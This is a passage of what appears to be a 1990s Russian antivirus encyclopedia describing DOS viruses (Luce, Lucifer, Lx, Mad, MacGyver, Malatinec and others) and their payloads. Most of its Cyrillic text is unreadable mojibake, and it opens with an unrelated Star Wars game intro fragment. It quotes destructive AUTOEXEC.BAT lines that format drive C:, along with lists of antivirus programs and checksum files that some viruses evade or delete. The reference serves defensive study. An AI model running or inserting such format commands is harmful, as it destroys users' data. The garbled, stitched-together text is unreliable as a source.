marshalling their forces in secrecy. Even now a group of their
prized Calamari Cruisers is being intercepted by a squadron of
Imperial Star Destroyers. The Rebel Fleet is outnumbered but,
they have a surprise... the X-Wing Starfighter!
Luce.4619
Î÷åíü îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Óíè÷òîæàåò èñïîëíÿåìûå
ôàéëû, íàõîäÿùèåñÿ â êàòàëîãàõ F77,MSFORT,GAMES,GAME, UTIL; çàïèñûâàÿ â
èõ íà÷àëî òðîÿíñêèé êîä, êîòîðûé âûâîäèò íà ýêðàí ñëåäóþùèé òåêñò:
ÏÐÈÂÅÒ ÎÒ ÕÀÊÅÐÀ
ÛÛÛÛÛÛÛ ÛÛ ÛÛ ÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛ ÛÛ ÛÛ
ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ
ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛÜÜÛÛ
ÛÛ ÛÛ ÛÛ ÛÛ ÛÛÛÛÛÛÛ ÛÛ ÛÛ ÛÛÛÛ ÛÛÛÛ
ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛÛÛÛÛÛß ÛÛßßÛÛ
ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ
ÛÛÛÛÛÛÛ ßÛÛß ÛÛÛÛÛÛÛÛÛ ÛÛ ÛÛ ÛÛ ÛÛ
ÏÐÎÃÐÀÌÌÀ ÓÍÈ×ÒÎÆÅÍÀ ÓÑÏÅØÍÎ
Òàêæå âèðóñ ìîæåò çàïèñàòü â MBR òðîÿíñêèé êîä, âûâîäÿùèé íà ýêðàí
òåêñò "Hard disk destroyed by mutant-virus "LUCIFER"". Âèðóñ ñîäåðæèò
òåêñòû "Virus Luce.4619 by OVER-X.", "POLYMORPHIC ALGORITHM IS CREATED
BY OVER-X".
Lucifer (1,2)
Îïàñíûå íåðåçèäåíòíûå çàãðóçî÷íûå âèðóñû. Ïðè çàãðóçêå ñèñòåìû ñ
èíôèöèðîâàííîãî ôëîïïè-äèñêà âèðóñû çàðàæàþò àêòèâíûé çàãðóçî÷íûé
ñåêòîð ïåðâîãî æåñòêîãî äèñêà, ñ÷èòàÿ, ÷òî îí ðàñïîëîæåí íà ñòîðîíå -1,
öèëèíäðå - 0, ñåêòîðå - 1. Ïðè çàãðóçêå æå ñèñòåìû ñ èíôèöèðîâàííîãî
æåñòêîãî äèñêà âèðóñ ïûòàåòñÿ çàðàçèòü ãèáêèé äèñê â äèñêîâîäå B:.
Îðèãèíàëüíûå çàãðóçî÷íûå ñåêòîðà âèðóñîì íå ñîõðàíÿþòñÿ. Ïðè çàãðóçêå
âèðóñû ïûòàþòñÿ ñàìîñòîÿòåëüíî íàéòè è îòäàòü óïðàâëåíèå ñèñòåìíûì
ôàéëàì IBMBIO.COM èëè IO.SYS. Åñëè äàííûå ôàéëû íå áóäóò íàéäåíû, òî
âèðóñû âûâîäÿò ñîîáùåíèå: Lucifer (1) - "Sys?", Lucifer (2) -
"**Oops!**" è "âåøàþò" ñèñòåìó. Ñîäåðæàò òåêñòû "Lucifer" è "Lucifer
Messiah -- ANARKICK SYSTEMS v6.1 (c)1990", èëè "Lucifer Messiah of
Anarkick Systems v.4.3 (c) 1992".
Lucy.5086, 5286, 5505
Îïàñíûå ðåçèäåíòíûå ïîëèìîðôíûå âèðóñû. Èç-çà îøèáîê ìîãóò ðàçðóøàòü
èíôèöèðóåìûå ôàéëû. Ïðè íàõîæäåíèè â ïàìÿòè ïðîãðàìì: SCAN,VSHIELD,
CLEAN, FINDVIRU, GUARD,VIVERIFY,TB,AVP,VIRSTOP,NOD,HIEW,ICE,AVG,F-PROT,
CHKDSK,DRWEB,TDPR; âèðóñû âûâîäÿò òåêñòû:
Lucy.5286:
Hi, do you know that AndreaP is actually better than LucyV ?
Takze ak sa vam chce, tak to meno zmente. :-).
PS. Pochadzam[e] (ja i ona) z GJH. (mozno)
Press any key to reset.
Lucy.5505:
Hi, do you know that LucyV, and AndreaP are the best girls ?
Sorry, nic lepsie ma teraz nenapadlo :-).
Press any key to reset.
Lunch.404
Ñîäåðæèò òåêñò "I just had your files for lunch!!!".
Lust.120, 121, 137, 191, 196, 210, 258
Íåîïàñíûå âèðóñû. Lust.210 ïðîèçâîäèò ïîèñê *.COM-ôàéëîâ â òåêóùåì
êàòàëîãå è çàïèñûâàåò ñâîé êîä â îáëàñòü ïîâòîðÿþùèõñÿ áàéò â òåëå
ïðîãðàììû, åñëè îíè èìåþòñÿ.
Lx.1358
Îïàñíûé ðåçèäåíòíûé âèðóñ. 13 ÷èñëà çàïèñûâàåò â ôàéë C:\AUTOEXEC.BAT
ïîõàáíûé òåêñò è êîìàíäó ôîðìàòèðîâàíèÿ äèñêà C:. Ñîäåðæèò òåêñò:
SET VIRUS=LX 1358 Version 1.03 (why LX ? - see below)
SET CopyLeft=(c) 1996 Sergey K. & Alex C.
Lx.1996
Î÷åíü îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. 14 ÷èñëà óíè÷òîæàåò
ñîäåðæèìîå CMOS-ïàìÿòè. 16 è 17 ÷èñëà âûâîäèò íà ýêðàí òåêñòû:
Ïðèêèíüòå, ÷óâàêè! ß 16 îêòÿáðÿ òàààê íàæðàëñÿ!
à â ìåòðî ìåíÿ îáóëè íà åäèíûé 8-( ]
à íàæðàëñÿ ïîòîìó, ÷òî ó ñòàðîñòû íàøåãî áûë äåíü ðîæäåíèÿ.
È åù¸ ÈÀ ìíå íà ãîâíîäàâ êðûñáóðãåð óðîíèë !
ÌÃÒÓ-RULEZ, ÌÀÈ-SUX, ÌÐÒÊ-ìåðçêîå çàâåäåíèå
P.S. Óâ. òîâ. àâòîð WEBà! Ïðîøó îïóáëèêîâàòü ñåé òåêñò!
Îôèöèàëüíûé Ñïèñîê Ìðàçåé ã. Ìîñêâû îò 17 îêò. 96
1. ÒÅ ÏÀÄËÛ, ÊÎÒÎÐÛÅ ÌÅÍß ÍÀ ÅÄÈÍÛÉ ÎÁÓËÈ Â ÌÅÒÐÅ
2. ÒÅ ÏÀÄËÛ, ÊÎÒÎÐÛÅ ÍÀÊÎÐÌÈËÈ ÍÀÑ ÊÐÛÑÁÓÐÃÅÐÀÌÈ :-Q~
3. ÀÂÒÎÐÛ ÀÍÒÈÂÈÐÓÑÎÂ, ÊÎÒÎÐÛÅ ÍÅ ËÅ×ÀÒ ÝÒÎÒ ÂÈÐÓÑ
4. ËÀÌÅÐÀ, ÊÎÒÎÐÛÅ ÏÎËÜÇÓÞÒÑß ÝÒÈÌ ÂÈÐÓÑÎÌ
5. -//- ÊÎÒÎÐÛÅ ÍÅ ÏÎËÜÇÓÞÒÑß
6. ÎÑÒÀËÜÍÛÅ ËÀÌÅÐÀ
7. ÂÑÅ ÃÎÏÍÈÊÈ - ÎÍÈ ÌÅØÀÞÒ ÍÀÌ ÆÈÒÜ !
Âñå îñòàëüíûå ìðàçè áóäóò âêëþ÷åíû â ñëåäóþùèé ñïèñîê. Please wait...
Çàïèñûâàåò â ôàéë C:\AUTOEXEC.BAT êîìàíäû ôîðìàòèðîâàíèÿ äèñêà C::
@echo off
cls
echo.
echo À Ëîçèíñêèé - ïåäåðàñò 8-Q~
echo.
echo Hi! I am LX 1996
Version 2.50
@echo Y | format c: /q >nul
@cls
Ñîäåðæèò òåêñò:
Set Virus=LX 1996 Version 2.50 (why LX ? - see below)
CopyRight = (C) 1996 Sergey K. & Alexey C.
Lycee.703
Èíîãäà ñîçäàåò ôàéë README.!!!, â êîòîðûé çàïèñûâàåò òåêñò "Ïîçäðàâëÿåì
Ïðîôîðãà ãðóïïû À1-94 ñ 8 ìàðòà !".
Lycee.737
Ïîñëå 10 ÷àñîâ íåïðåðûâíîé ðàáîòû "ñáèâàåò" ðàçâåðòêó ìîíèòîðîâ EGA è
VGA.
Lycee.930
Ïîñëå 1000 íàæàòèé íà êëàâèøè èçìåíÿåò ñëåäóþùèå ñèìâîëû íà ' MIREA '.
Lycee.944
Îïàñíûé âèðóñ. Ïîñëå 24 ÷èñëà ëþáîãî ìåñÿöà, â ïîíåäåëüíèê ìîæåò
çàøèôðîâàòü ïåðâûé ñåêòîð (MBR) ïåðâîãî æåñòêîãî äèñêà.
Lycee.1888 (1,2), 1901, 1950
Åñëè íå áûëî íàæàòèé íà êëàâèøè â òå÷åíèå 5 ìèíóò âûâîäèò íà ðóññêîì
èëè íà àíãëèéñêîì ÿçûêå òåêñò:
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º You are welcome ! º
º Moscow Institute of Radioengineering, Electronics and Automation º
º Moscow º
º Vernadsky Avenue 78 º
º Phone of MIREA: 433-00-66 º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
èëè
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Âàñ ïðèâåòñòâóåò ! º
º Ìîñêîâñêèé Èíñòèòóò Ðàäèîòåõíèêè, Ýëåêòðîíèêè è Àâòîìàòèêè º
º Ìîñêâà º
º Ïðîñïåêò Âåðíàäñêîãî, 78 º
º Òåëåôîí ÌÈÐÝÀ: 433-00-66 º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Lycee.1788 (1,2), Lycee.1800, Lycee.1832, Lycee.1975
Âûâîäÿò òåêñò:
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Âàñ ïðèâåòñòâóåò ! º
º Ëèöåé Èíôîðìàöèîííûõ Òåõíîëîãèé º
º Ìîñêâà º
º Ëîìîíîñîâñêèé ïðîñïåêò, 16 º
º Òåëåôîí 133-20-60 º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
LZR
Îïàñíûé çàãðóçî÷íûé âèðóñ. Ìîæåò óíè÷òîæèòü ñîäåðæèìîå æåñòêîãî äèñêà.
Èìååò òåêñò "LZR".
Maaike (1,2)
Øèôðîâàííûå âèðóñû-ñïóòíèêè. Äëÿ âñåõ çàïóñêàåìûõ EXE-ôàéëîâ ñîçäàþò
âèðóñû-ñïóòíèêè COM-ôîðìàòà. Ïðè ðåçèäåíòíûõ âèðóñàõ ïðîãðàììû ñ
ðàñøèðåíèÿìè, îòëè÷íûìè îò COM èëè EXE, çàïóñêàòüñÿ íå áóäóò. Èíîãäà
ìîãóò çàïîëíèòü ýêðàí íàäïèñüþ: "Maaike I Love You !". Èç-çà îøèáîê
ìîãóò ïðèâîäèòü ê "çàâèñàíèþ" ñèñòåìû.
MacGyver.2803 (1,2)
Ñîäåðæàò çàøèôðîâàííóþ òåêñòîâóþ ñòðîêó "SCAN CLEAN ZTEST CKVI EXEGOD
VPIC [MACGYVER V1.0 Written by JOEY in Keelung. TAIWAN 1992]".
MacGyver.4112
Íåîïàñíûé ðåçèäåíòíûé ôàéëîâî-çàãðóçî÷íûé âèðóñ.Çàðàæàåò COM,EXE-ôàéëû,
MBR æåñòêîãî äèñêà è çàãðóçî÷íûå ñåêòîðà äèñêåò. Ïðè çàðàæåíèè äèñêåò
ôîðìàòèðóåò äîïîëíèòåëüíóþ äîðîæêó, íà êîòîðóþ çàïèñûâàåò ñâîå
ïðîäîëæåíèå è îðèãèíàëüíûé çàãðóçî÷íûé ñåêòîð.
MacGyver.4645
Íåîïàñíûé ðåçèäåíòíûé ñòåëñ-âèðóñ. Âûâîäèò ñîîáùåíèå:
ÕÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͸
¦ * MacGyver V3.0 * ¦
¦ Hi! I am MacGyver ¦
¦ Written by ¦
¦ Dark Slayer ¦
¦ in Keelung. TAIWAN ¦
¦ Don't Worry,I just ¦
¦ a Virus. Ha..Ha... ¦
ÔÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;
Mad.223
Íåîïàñíûé íåðåçèäåíòíûé ïîëèìîðôíûé âèðóñ.ßâëÿåòñÿ "ïîðîæäåíèåì" âèðóñà
Mad.5131. Mad.223 íå ÿâëÿåòñÿ çàøèôðîâàííûì âèðóñîì, íî ïðè çàðàæåíèè
â ÿíâàðå COM-ôàéëîâ âèðóñ Mad.5131 "ïåðåìåæàåò" "ðàáî÷èå" êîìàíäû
âèðóñà Mad.223 (ïîèñê ôàéë-æåðòâ è èõ çàðàæåíèå) âñåâîçìîæíûìè
"ìóñîðíûìè" êîìàíäàìè. Â ðåçóëüòàòå ìàêñèìàëüíàÿ äëèíà ïîñòîÿííûõ
âèðóñíûõ áàéò íå ïðåâûøàåò 6 áàéò. Â äàëüíåéøåì òàêîé âèðóñ Mad.233
ïðîèçâîäèò ïîèñê *.COM - ôàéëîâ â òåêóùåì êàòàëîãå è çàðàæàåò èõ
ñîáñòâåííîé óæå íåèçìåíÿåìîé êîïèåé. Âèðóñ ñîäåðæèò òåêñò "MiniMad 2.0
BETA! [c]Black Angel".
Mad.279 (1-3)
Îïàñíûå íåðåçèäåíòíûå âèðóñû. Çàðàæàþò òîëüêî COM-ôàéëû ñ ïåðâîé
êîìàíäîé JUMP (0E9h ?? ??). Îðèãèíàëüíûé àäðåñ ïåðåõîäà âèðóñû
çàïèñûâàþò â ïîëå äàòû ñîçäàíèÿ ôàéëà. Ïîýòîìó, åñëè äàííûé ôàéë
ïîäâåðãíåòñÿ ðåäàêòèðîâàíèþ, òî âîññòàíîâèòü åãî ðàáîòîñïîñîáíîñòü íå
óäàñòñÿ. Âèðóñû ñîäåðæàò òåêñò "The MiniMad version 1.0 beta*.com".
Mad.1288
Î÷åíü îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ïðè íåàêêóðàòíîé
òðàññèðîâêå êîäà, âèðóñ ìîæåò óíè÷òîæèòü 16 ïåðâûõ ñåêòîðîâ ïåðâîãî
æåñòêîãî äèñêà. Ðåçèäåíòíàÿ êîïèÿ âèðóñà, ïðè ñòàðòå êàæäîé 33-åé
ïðîãðàììû, óíè÷òîæàåò ñëó÷àéíûé ñåêòîð æåñòêîãî äèñêà. Íå çàðàæàåò
ïðîãðàììû ñ èìåíàìè *EB, *ST, *NF, *WE. Ñîäåðæèò òåêñò "THE MYTH
[C]Black Angel : Next time ,Use a condom ...".
Mad.2631, 2748
Î÷åíü îïàñíûå ðåçèäåíòíûå ïîëèìîðôíûå âèðóñû. 13 ÷èñëà óíè÷òîæàþò
ñîäåðæèìîå CMOS-ïàìÿòè è ïåðâîãî æåñòêîãî äèñêà. Ïðè êàæäîì 1001
(2000 äëÿ Mad.2748) íàæàòèè íà êëàâèøè óíè÷òîæàþò ñëó÷àéíûé ñåêòîð íà
äèñêå. Ïðè íåàêòèâíîé êëàâèàòóðå â òå÷åíèå 1 ìèíóòû 22 ñåêóíä (äëÿ
Mad.2748 - 1 ÷àñà) âèðóñû âûâîäÿò íà ýêðàí òåêñòû:
Mad.2631:
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º W a r n i n g ! º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
º Your machine is infected by MAD I virus º
º -= Written & Copyright by Black Angel =- º
º from Moscow º
º For cure call DR.WEB (812) 296-3096 º
º Good-Bye!!! º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Mad.2748:
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º W a r n i n g ! º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
º Your machine is infected by MAD I virus º
º -= Written & Copyright by Black Angel =- º
º from Moscow º
º For cure call DR.WEB (812) 296-3096 º
º Next time, use a condom... º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Íå çàðàæàþò ôàéëû, èìåíà êîòîðûõ çàêàí÷èâàþòñÿ íà EB, ST, EW (DRWEB,
AIDSTEST, HIEW). Ñîäåðæàò òåêñòû "BETA", "THE MAD I virus (c)Black
Angel" èëè "THE MAD version 1.2 virus (c)Black Angel".
Mad.3544, 4268, 4340, 5054
Î÷åíü îïàñíûå ðåçèäåíòíûå ïîëèìîðôíûå âèðóñû. Ïðè íåàêêóðàòíîé
òðàññèðîâêå âèðóñíîãî êîäà ìîãóò óíè÷òîæèòü 10 ïåðâûõ ñåêòîðîâ ïåðâîãî
æåñòêîãî äèñêà. Ïðè çàïóñêå ïðîãðàììû WIN.* Mad.3544 âûêëþ÷àåò äðàéâåð
ìûøè (çàïèñûâàåò â îáðàáîò÷èê INT 33h êîìàíäó IRET) è âûâîäèò òåêñò
"WINDOWS MUST DIE!". Èíîãäà ïîìåùàþò â áóôåð êëàâèàòóðû ñëîâî "MAD".
13 ÷èñëà ìåñÿöà âèðóñû çàðàæàþò COM-ôàéëû, èìåþùèå ïåðâóþ èíñòðóêöèþ
ïðîãðàììíîãî êîäà JUMP (0E9h ?? ??) âèðóñàìè Mad.279 (1-3). Â âèðóñàõ
èìååòñÿ êîä, øèôðóþùèé çàãðóçî÷íûå ñåêòîðà äèñêåò, íî ïðè àêòèâíûõ
ðåçèäåíòíûõ âèðóñàõ äàííûå ñåêòîðà ðàñøèôðîâûâàþòñÿ â ïàìÿòè
êîìïüþòåðà. Mad.4268 ìîæåò âûâåñòè íà ýêðàí òåêñò:
Your version of MAD outdate.Upgrade?
Åñëè ââåñòè "y" èëè "Y", òî âèðóñ âûâîäèò òåêñò:
Please Wait! Cured Your system...
Hî...àáñîëþòíî ñïîêîéíû Âû ìîæåòå áûòü, åñëè åæåäíåâíî
ïîëüçyåòåñü ïpîãpàììîé FORMAT.COM
óíè÷òîæàåò 16 ïåðâûõ ñåêòîðîâ ïåðâîãî æåñòêîãî äèñêà, ñîçäàåò íîâûé
ôàéë c:\autoexec.bat, â êîòîðûé çàïèñûâàåò òåêñò:
@echo Press Y for continue cured....
@echo off
c:\dos\format.com c: >null
echo on
@echo Hàä âàìè èçäåâàëñÿ âèpyñ MAD...
Mad.4340 ïðîèçâîäèò ïîèñê â çàïèñûâàåìîé íà äèñê (f.03 Int 13h)
èíôîðìàöèè ñòðîêè "USER", ìåíÿåò åå íà "LOH!" è ïîìåùàåò â áóôåð
êëàâèàòóðû òåêñò "MUST DIE!". Mad.5054 7 íîÿáðÿ óíè÷òîæàåò ñîäåðæèìîå
CMOS-ïàìÿòè, ïî 16 ñåêòîðîâ íà êàæäîé ãîëîâêå ïåðâîãî æåñòêîãî äèñêà è
âûâîäèò òåêñò "Seventh November - black day of a calendar...". Mad.5054
èùåò â ôàéëàõ ñòðîêó "Rar!" (çàãîëîâîê àðõèâàòîðà RAR) è èçìåíÿåò åå íà
"Mad!". Ïðè÷åì, â çàðàæåííîé ñèñòåìå ýòî áóäåò íå çàìåòíî äëÿ
ïîëüçîâàòåëÿ,íî ïðè ïåðåíîñå òàêîãî àðõèâà â "÷èñòóþ" ñèñòåìó,àðõèâàòîð
RAR íå "ïðèçíàåò" òàêîé ôàéë ñâîèì. Mad.5054 òàêæå èíîãäà "ñáèâàåò"
ðàçâåðòêó ìîíèòîðà.
Âèðóñû ñîäåðæàò òåêñòû:
Mad.3544:
MAD 1.5a Copyright by Black Angel 03-08-96 : a New Beginning
Mad.4268:
MAD 1.6 Copyright by Black Angel 24-09-96 : ...continue conversation...
Mutation Engine for Mad [MEM 1.0]
Mad.4340:
MAD 1.7 (C)opyright by Black Angel(from Moscow!) 29-09-96 :
Next version...
Mutation Engine for Mad [MEM 1.0]
Mad.5054:
Small Random Decoder for Mad [SRDM 0.0 beta]
[MAD 1.8] (C)opy(R)ight by Black Angel from DesTroY Gr0uP : It BEGAN...!
Mutation Engine for Mad [MEM 1.1]
Mad.3732, 3734
Îïàñíûå ðåçèäåíòíûå ïîëèìîðôíûå âèðóñû. 14 èþíÿ ôîðìàòèðóþò ïåðâóþ
äîðîæêó "âèí÷åñòåðà". Ïðè ñòàðòå ïðîãðàììû *WEB.* âèðóñû èç-çà îøèáêè
"çàâåøèâàþò" ñèñòåìó. Ñîäåðæàò òåêñòû "The MAD version 1.4(beta) for
TME (C)Black Angel 1996", "TME 0.0 (c)Black Angel 14/05/96".
Mad.5131
Î÷åíü îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ïðè íåàêêóðàòíîé
òðàññèðîâêå âèðóñíîãî êîäà ìîãóò óíè÷òîæèòü 10 ïåðâûõ ñåêòîðîâ ïåðâîãî
æåñòêîãî äèñêà. 31 äåêàáðÿ âèðóñ âûâîäèò ñîîáùåíèå "I am DEAD M0R0SE" è
óíè÷òîæàåò ñîäåðæèìîå CMOS-ïàìÿòè.Âèðóñ çàïèñûâàåò ñâîé êîä (4608 áàéò)
íà äèñê (9 ñåêòîðîâ), íà÷èíàÿ ñ 9 ñåêòîðà ïåðâîé äîðîæêè ïåðâîãî
öèëèíäðà. Ðåçèäåíòíàÿ êîïèÿ âèðóñà çàíèìàåò 231 áàéò, óñòàíàâëèâàåòñÿ
ïî àäðåñó 0054:0000 è "ïåðåõâàòûâàåò" ïóòåì âðåçêè â îðèãèíàëüíûé
îáðàáîò÷èê INT 21h âûçîâ ñëó÷àéíîãî ïðåðûâàíèÿ èç âòîðîé ïîëîâèíû
òàáëèöû âåêòîðîâ ïðåðûâàíèé (INT C0h-C7h), êîòîðîå "êîíòðîëèðóåòñÿ"
ðåçèäåíòíîé êîïèåé. Äàííûé êîä ñ÷èòûâàåò â ïàìÿòü ïî àäðåñó 9A00:0000
ïðè êàæäîì âûçîâå f.30h Int 21h (GetDOSVersion) îñíîâíîé âèðóñíûé êîä
ñ æåñòêîãî äèñêà è îòäàåò åìó óïðàâëåíèå ñ öåëüþ îïðåäåëåíèÿ èìåíè,
ñòàðòîâàâøåé ïðîãðàììû è åå çàðàæåíèÿ. Âèðóñ îòêàçûâàåòñÿ óñòàíàâëèâàòü
ñâîþ ðåçèäåíòíóþ êîïèþ ïðè ðàáîòå â Windows. Ïðè çàðàæåíèè ôàéëîâ âèðóñ
÷èòàåò ïåðâûå 1000 áàéò ôàéëà â ïàìÿòü êîìïüþòåðà è ïðîèçâîäèò ïîèñê
ïîñëåäîâàòåëüíîñòè áàéò B4h ?? CDh 21h èëè B8h ?? ?? CDh 21h (çàãðóçêà
â ðåãèñòð AH èëè AX êàêîãî-òî çíà÷åíèÿ è âûçîâ ïðåðûâàíèÿ 21h DOS).
Âìåñòî áàéò CDh 21h âèðóñ çàïèñûâàåò ïîñëåäîâàòåëüíîñòü CDh CCh - âûçîâ
INT CCh, êîòîðîå òðàíñëèðóåòñÿ âèðóñîì â "çàêîííîå" ïðåðûâàíèå INT 21h
DOS. Ïðè àêòèâíîì ðåçèäåíòíîì âèðóñå äàííûå ïðîãðàììû áóäóò ðàáîòàòü
íîðìàëüíî, íî â "÷èñòîé" ñèñòåìå "ïîâåäåíèå" òàêèõ ïðîãðàìì -
íåïðåäñêàçóåìî. Â ÿíâàðå âèðóñ çàðàæàåò COM-ôàéëû ïîëèìîðôíûì âèðóñîì
Mad.223 (ñì. Mad.223), êîòîðûé â äàëüíåéøåì ðàñïðîñòðàíÿåòñÿ
ñàìîñòîÿòåëüíî, íåçàâèñèìî îò âèðóñà-ðîäèòåëÿ Mad.5131. Íå çàðàæàåò
ôàéëû, èìåíà êîòîðûõ çàêàí÷èâàþòñÿ íà EB,ST,86,NF,VP,AN. Âèðóñ ñîäåðæèò
òåêñòû:
>>> The MaDesTr0yeR <<< aka [DEAD M0R0SE] version BETA TEST
Distribution & Copyright by Black Angel 1996
>Destroy Gr0up is down...!!!<
>HÅÒÓ È HÅÁÛËÎ DESTROY GR0UP!<
MiniMad 2.0 BETA! [c]Black Angel
Mad.7321
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ñîäåðæèò ñëó÷àéíûé àëãîðèòì
ðàñøèôðîâêè ñâîåãî êîäà (ñì. RDA.Fighter), íî èç-çà îãðîìíîãî ÷èñëà
îøèáîê ðàñïðîñòðàíåíèå äàííîãî âèðóñà íåâîçìîæíî. Ñîäåðæèò òåêñòû
"MAD 1.5 (C)Black Angel:I`m Back", "(c)Black Angel 16/05/96".
MadSatan.19033
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Â ïåðèîä ñ 24 ïî 27 äåêàáðÿ âûâîäèò íà
ýêðàí ñîîáùåíèå:
* Satan virus * MAD !! Another Masterpiece of Satan...........
Èìååò òàêæå òåêñò:
Satan virus Copyright (c) 1993 Ver 2.01 Written by * Mad Satan *
GOOD LUCK TO YOU
- Mad Satan - - Mad Satan - - Mad Satan -
MadSatan.Abba
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Âåäåò ñ÷åò÷èê çàðàæåíèé â ôàéëàõ ABBAëºnn,
ãäå nn - ÿâëÿåòñÿ ïîðÿäêîâûì íîìåðîì çàðàæåíèé. Ïðè äîñòèæåíèè nn
çíà÷åíèÿ 59, íà ìîíîõðîìíûé äèñïëåé â ãðàôè÷åñêîì âèäåîðåæèìå âûâîäèòñÿ
ôîòîèçîáðàæåíèå ëèöà, âèäèìî, êèòàéñêîé íàöèîíàëüíîñòè.
MadSatan.Ruei
Ìîäèôèêàöèÿ âèðóñà MadSatan.Abba. Ñ÷åò÷èê çàðàæåíèé âåäåòñÿ â ôàéëå
Satan_nn. Ïðè íåõâàòêå ïàìÿòè âûâîäèò ñîîáùåíèå "Ruei-Chiang Virus
by Mad Satan". Ñîäåðæèò òåêñò:
----------------
1994 (C) Copyright Ruei-Chiang Virus Written by Mad Satan in TAIWAN.
Carzy !!! Another Masterpiece of Satan.....
Don't Worry I just a Virus.
Satan Ver 3.01 - Mad Satan
-----------------
Magdzie.1114
Îïàñíûé ðåçèäåíòíûé ñòåëñ-âèðóñ. Çàðàæàåò EXE-ôàéëû ïðè èõ çàêðûòèè.
Ïðè îòêðûòèè èëè çàïóñêå èíôèöèðîâàííîé ïðîãðàììû óäàëÿåò èç íåå ñâîé
âèðóñíûé êîä. Óäàëÿåò ôàéëû CHKLIST?.*. 27 ìàÿ âûâîäèò íà ýêðàí òåêñò:
Magdzie T. - jutro Twoje urodziny!
Ïîñëå ÷åãî âûâîäèò äîâîëüíî ñèìïàòè÷íûé äâèæóùèéñÿ ãðàôè÷åñêèé óçîð.
Maiden.1726
Ïîëèìîðôíûé ðåçèäåíòíûé âèðóñ. Ïûòàåòñÿ îòêðûòü ôàéë user.bbs è çàâåñòè
â íåì ïîëüçîâàòåëÿ Hacker. Ñîäåðæèò òåêñòû "Iron Maiden", "[MARAUDER`s
Mutation Device v0.9]".
Major.1644
Îïàñíûé ðåçèäåíòíûé âèðóñ.  ñëó÷àéíûå ìîìåíòû âðåìåíè ïûòàåòñÿ îòêðûòü
ôàéë \BBSV6\BBSAUDIT.DAT èëè \BBSV6\BBSUSR.DAT. Âèðóñ èùåò â äàííûõ
ôàéëàõ ñòðîêè Puppet, Image, Gnat, Minion, Cindy, F'nor. Åñëè êàêàÿ-
ëèáî ñòðîêà íàéäåíà, òî âèðóñ êîððåêòèðóåò ñîîòâåòñòâóþùóþ ñòðîêó BBS-
ôàéëà. Ñîäåðæèò òåêñò "The Major BBS Virus created by Major tomTugger".
Malatinec.2367, 2396
Íåîïàñíûå ðåçèäåíòíûå øèôðîâàííûå âèðóñû. Íå çàðàæàþò ôàéëû, èìåíà
êîòîðûõ íà÷èíàþòñÿ íà COMMAND,ADINF,AVG,AVP,CLEAN,DRWEB,F-,FINDVIRU,FV,
GUARD,IBMAVSP,IV,NAV,NOD. Óäàëÿåò ôàéëû ANTI-VIR.DAT, AVG.GRS, AVP.CRC,
CHKLIST.CPS, CHKLIST.MS, CHKLIST.TAV, FINGERP.VVF, FSIZES.QCV, IVB.NTZ,
NAV_._NO,SMARTCHK.CPS,_CHK.CHK. Ñîäåðæàò òåêñò:
Virus Malatinec v.0.ûÍ|Ùreated by Aladiah
Greet: all my friends in Slovakia; G722,E10,H723,H118 & all H4??
(sch.yr.95/96) & of coz i send a big fuck 2 big boxer V.M.
